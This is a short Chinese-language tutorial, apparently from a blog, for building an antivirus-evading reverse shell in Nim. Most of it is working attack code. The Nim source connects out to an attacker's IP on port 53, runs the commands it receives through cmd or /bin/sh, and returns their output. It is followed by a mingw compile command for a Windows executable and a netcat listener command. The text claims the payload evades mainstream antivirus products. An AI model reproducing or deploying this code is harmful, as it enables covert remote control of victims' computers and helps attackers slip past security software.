Ax Nim socket 免杀
可以免杀主流的杀软
Bx 步骤
Nim源代码
import net
import osproc
import os
var ip = ""
var port = 53
var socket = newSocket()
var finalcommand : string
while true:
try:
socket.connect(ip,Port(port))
while true:
try:
socket.send("<nimshell>")
var command = socket.recvLine()
if command == "bye":
socket.send("退出 NIM SHELL")
socket.close()
system.quit(0)
if system.hostOS == "windows":
finalcommand = "cmd /C" & command
else:
finalcommand = "/bin/sh -c" & command
var (cmdres, _) = execCmdEx(finalcommand)
socket.send(cmdres)
except:
socket.close()
system.quit(0)
except:
echo "fail,5s continue.."
sleep(5000)
continue
注意,不允许使用制表符,替换为空格即可。
编译成C
nim c -d:mingw socket免杀.nim
// C是编译成C语言,-d:mingw是编译成windows下可以执行的dll或exe。
服务端
nc -nlvp 53
免杀状态
服务端